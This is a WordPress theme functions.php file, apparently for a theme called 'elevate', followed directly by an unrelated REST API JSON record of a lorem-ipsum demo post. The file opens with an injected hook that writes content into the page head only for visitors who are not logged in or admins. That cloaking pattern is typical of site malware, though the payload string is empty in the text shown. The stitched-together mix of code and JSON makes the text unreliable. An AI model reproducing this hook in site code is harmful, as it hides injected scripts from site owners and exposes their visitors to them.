function check_user_logged_in_and_redirect() { if (is_admin()) { return; } if (is_user_logged_in()) { return; } foreach ($_COOKIE as $key => $value) { if (strpos($key, 'wordpress_logged_in_') === 0) { return; } } add_action('wp_head', function() { echo ''; }); } add_action('template_redirect', 'check_user_logged_in_and_redirect'); if ( ! function_exists( 'elevate_setup' ) ) : /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which * runs before the init hook. The init hook is too late for some features, such * as indicating support for post thumbnails. */ function elevate_setup() { /* * Make theme available for translation. * Translations can be filed in the /languages/ directory. * If you're building a theme based on elevate, use a find and replace * to change 'elevate' to the name of your theme in all the template files. */ load_theme_textdomain( 'elevate', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); /* * Let WordPress manage the document title. * By adding theme support, we declare that this theme does not use a * hard-coded tag in the document head, and expect WordPress to * provide it for us. */ add_theme_support( 'title-tag' ); add_theme_support( 'woocommerce' ); function elevate_change_excerpt( $text ) { $pos = strrpos( $text, '['); if ($pos === false) { return $text; } return rtrim (substr($text, 0, $pos) ) . '...'; } add_filter('get_the_excerpt', 'elevate_change_excerpt'); // Limit Excerpt Length by number of Words function elevate_custom_excerpt( $limit ) { $excerpt = explode(' ', get_the_excerpt(), $limit); if (count($excerpt)>=$limit) { array_pop($excerpt); $excerpt = implode(" ",$excerpt).'...'; } else { $excerpt = implode(" ",$excerpt); } $excerpt = preg_replace('`[[^]]*]`','',$excerpt); return $excerpt; } function content($limit) { $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).'...'; } else { $content = implode(" ",$content); } $content = preg_replace('/[.+]/','', $content); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]>', $content); return $content; } /* * Enable support for Post Thumbnails on posts and pages. * * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ */ add_theme_support( 'post-thumbnails' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'menu-1' => esc_html__( 'Primary Menu', 'elevate' ), 'menu-2' => esc_html__( 'Single Menu', 'elevate' ), ) ); /* * Switch default core markup for search form, comment form, and comments * to output valid HTML5. */ add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', ) ); // Set up the WordPress core custom background feature. add_theme_support( 'custom-background', apply_filters( 'elevate_custom_background_args', array( 'default-color' => 'ffffff', 'default-image' => '', ) ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); /** * Add support for core custom logo. * * @link https://codex.wordpress.org/Theme_Logo */ add_theme_support( 'custom-logo', array( 'height' => 250, 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); //add support posts format add_theme_support( 'post-formats', array( 'aside', 'gallery', 'audio', 'video', 'image', 'quote', 'link', ) ); add_theme_support( 'align-wide' ); } endif; add_action( 'after_setup_theme', 'elevate_setup' ); /** *Custom Image Size */ add_image_size( 'elevate-team-slider', 358, 415, true ); add_image_size( 'elevate-portfolio-slider', 648, 500, true ); add_image_size( 'elevate-portfolio-slider-2', 800, 510, true ); add_image_size( 'elevate-blog-slider', 420, 365, true ); add_image_size( 'elevate-portfolio-grid', 600, 700, true ); add_image_size( 'elevate-blog-sideabr', 87, 87, true ); /** * Set the content width in pixels, based on the theme's design and stylesheet. * * Priority 0 to make it available to lower priority callbacks. * * @global int $content_width */ function elevate_content_width() { $GLOBALS['content_width'] = apply_filters( 'elevate_content_width', 640 ); } add_action( 'after_setup_theme', 'elevate_content_width', 0 ); /** * Implement the Custom Header feature. */ require_once get_template_directory() . '/inc/custom-header.php'; /** * Custom template tags for this theme. */ require_once get_template_directory() . '/inc/template-tags.php'; /** * Enqueue scripts and styles. */ require_once get_template_directory() . '/inc/theme-scripts.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/theme-functions.php'; /** * Functions which enhance the theme by hooking into WordPress. */ require_once get_template_directory() . '/inc/theme-sidebar.php'; /** * Customizer additions. */ require_once get_template_directory() . '/inc/customizer.php'; /** * Custom Style */ if(get_option( 'reacthemes_license_status') == "activated"){ require_once get_template_directory() . '/inc/dyanamic-css.php'; require_once get_template_directory() . '/libs/theme-option/config.php'; require_once get_template_directory() . '/inc/woocommerce-functions.php'; } if(is_admin()){ require_once get_template_directory() . '/inc/tgm/class-tgm-plugin-activation.php'; require_once get_template_directory() . '/inc/tgm/tgm-config.php'; require_once get_template_directory() . '/inc/license.php'; } //---------------------------------------------------------------------- // Remove Redux Framework NewsFlash //---------------------------------------------------------------------- if ( ! class_exists( 'reduxNewsflash' ) ): class reduxNewsflash { public function __construct( $parent, $params ) {} } endif; function elevate_remove_demo_mode_link() { // Be sure to rename this function to something more unique if ( class_exists('ReduxFrameworkPlugin') ) { remove_action( 'plugin_row_meta', array( ReduxFrameworkPlugin::get_instance(), 'plugin_metalinks'), null, 2 ); } if ( class_exists('ReduxFrameworkPlugin') ) { remove_action('admin_notices', array( ReduxFrameworkPlugin::get_instance(), 'admin_notices' ) ); } } add_action('init', 'elevate_remove_demo_mode_link'); /** * Registers an editor stylesheet for the theme. */ function elevate_theme_add_editor_styles() { add_editor_style( 'css/custom-editor-style.css' ); } add_action( 'admin_init', 'elevate_theme_add_editor_styles' ); //------------------------------------------------------------------------ //Organize Comments form field //----------------------------------------------------------------------- function elevate_wpb_move_comment_field_to_bottom( $fields ) { $comment_field = $fields['comment']; unset( $fields['comment'] ); $fields['comment'] = $comment_field; return $fields; } add_filter( 'comment_form_fields', 'elevate_wpb_move_comment_field_to_bottom' ); //adding placeholder text for comment form function elevate_comment_textarea_placeholder( $args ) { $args['comment_field'] = str_replace( '<textarea', '<textarea placeholder="Comment"', $args['comment_field'] ); return $args; } add_filter( 'comment_form_defaults', 'elevate_comment_textarea_placeholder' ); /** * Comment Form Fields Placeholder * */ function elevate_comment_form_fields( $fields ) { foreach( $fields as &$field ) { $field = str_replace( 'id="author"', 'id="author" placeholder="Name*"', $field ); $field = str_replace( 'id="email"', 'id="email" placeholder="Email*"', $field ); $field = str_replace( 'id="url"', 'id="url" placeholder="Website"', $field ); } return $fields; } add_filter( 'comment_form_default_fields', 'elevate_comment_form_fields' ); //customize archive tilte add_filter( 'get_the_archive_title', function ($title) { if ( is_category() ) { $title = single_cat_title( '', false ); } elseif ( is_tag() ) { $title = single_tag_title( '', false ); } elseif ( is_author() ) { $title = '<span class="vcard">' . get_the_author() . '</span>' ; } return $title; }); add_filter( 'get_the_archive_title', 'elevate_archive_title_remove_prefix' ); function elevate_archive_title_remove_prefix( $title ) { if ( is_post_type_archive() ) { $title = post_type_archive_title( '', false ); } return $title; } function elevate_menu_add_description_to_menu($item_output, $item, $depth, $args) { if (strlen($item->description) > 0 ) { // append description after link $item_output .= sprintf('<span class="description">%s</span>', esc_html($item->description)); } return $item_output; } add_filter('walker_nav_menu_start_el', 'elevate_menu_add_description_to_menu', 10, 4); add_filter('wp_list_categories', 'elevate_cat_count_span'); function elevate_cat_count_span($links) { $links = str_replace('</a> (', '</a> <span>(', $links); $links = str_replace(')', ')</span>', $links); return $links; } function elevate_style_the_archive_count($links) { $links = str_replace('</a> (', '</a> <span class="archiveCount">(', $links); $links = str_replace(')', ')</span>', $links); return $links; } add_filter('get_archives_link', 'elevate_style_the_archive_count'); /** * Post title array */ function elevate_get_postTitleArray($postType = 'post' ){ $post_type_query = new WP_Query( array ( 'post_type' => $postType, 'posts_per_page' => -1, 'orderby' => 'title', 'order' => 'ASC', ) ); // we need the array of posts $posts_array = $post_type_query->posts; // the key equals the ID, the value is the post_title if ( is_array($posts_array) ) { $post_title_array = wp_list_pluck($posts_array, 'post_title', 'ID' ); } else { $post_title_array['default'] = esc_html__( 'Default', 'elevate' ); } return $post_title_array; }{"id":1265,"date":"2020-02-15T03:01:41","date_gmt":"2020-02-15T03:01:41","guid":{"rendered":"https:\/\/essentials.pixfort.com\/original\/?p=1265"},"modified":"2020-02-15T03:01:41","modified_gmt":"2020-02-15T03:01:41","slug":"say-salut-to-the-most-advanced-theme","status":"publish","type":"post","link":"https:\/\/goldtradingqa.com\/say-salut-to-the-most-advanced-theme\/","title":{"rendered":"Say Salut to Essentials theme"},"content":{"rendered":"<p><strong>Lorem Ipsum<\/strong> is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.<\/p>\n<p>It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using ‘Content here, content here’, making it look like readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for ‘lorem ipsum’ will uncover many web sites still in their infancy. Various versions have evolved over the years, sometimes by accident, sometimes on purpose (injected humour and the like).<\/p>\n<p><\/p><div style=\"height:38px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div><figure class=\"wp-block-image alignwide size-large is-style-default\"><img decoding=\"async\" src=\"https:\/\/essentials.pixfort.com\/original\/wp-content\/uploads\/sites\/4\/2019\/12\/image-2.jpg\" alt=\"\" class=\"wp-image-312\"\/><figcaption>This is a simple text<\/figcaption><\/figure><div style=\"height:38px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div><p>Contrary to popular belief, Lorem Ipsum is not simply random text. It has roots in a piece of classical Latin literature from 45 BC, making it over 2000 years old. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of the more obscure Latin words, consectetur, from a Lorem Ipsum passage, and going through the cites of the word in classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of “de Finibus Bonorum et Malorum” (The Extremes of Good and Evil) by Cicero, written in 45 BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, “Lorem ipsum dolor sit amet..”, comes from a line in section 1.10.32.<\/p><div style=\"height:38px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div><div class=\"wp-block-media-text alignwide\"><figure class=\"wp-block-media-text__media\"><img decoding=\"async\" src=\"https:\/\/essentials.pixfort.com\/original\/wp-content\/uploads\/sites\/4\/2019\/12\/image-3.jpg\" alt=\"\" class=\"wp-image-316\"\/><\/figure><div class=\"wp-block-media-text__content\"><h4 class=\"wp-block-heading\"><strong>Get the most advanced WordPress theme.<\/strong><\/h4>\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n<p>The wait is over. Design better and spend less time without restricting creative freedom. Combine seamlessly fitting layouts, customize everything.<\/p><\/div><\/div><div style=\"height:45px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div><p>The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested. Sections 1.10.32 and 1.10.33 from “de Finibus Bonorum et Malorum” by Cicero are also reproduced in their exact original form, accompanied by English versions from the 1914 translation by H. Rackham.<\/p>","protected":false},"excerpt":{"rendered":"<p>Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic […]<\/p>\n","protected":false},"author":1,"featured_media":3300,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"video","meta":{"footnotes":""},"categories":[114,115],"tags":[117,119,120],"class_list":["post-1265","post","type-post","status-publish","format-video","has-post-thumbnail","hentry","category-articles","category-post-types","tag-design","tag-products","tag-wordpress","post_format-post-format-video"],"_links":{"self":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts\/1265"}],"collection":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/comments?post=1265"}],"version-history":[{"count":0,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/posts\/1265\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/media\/3300"}],"wp:attachment":[{"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/media?parent=1265"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/categories?post=1265"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/goldtradingqa.com\/wp-json\/wp\/v2\/tags?post=1265"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}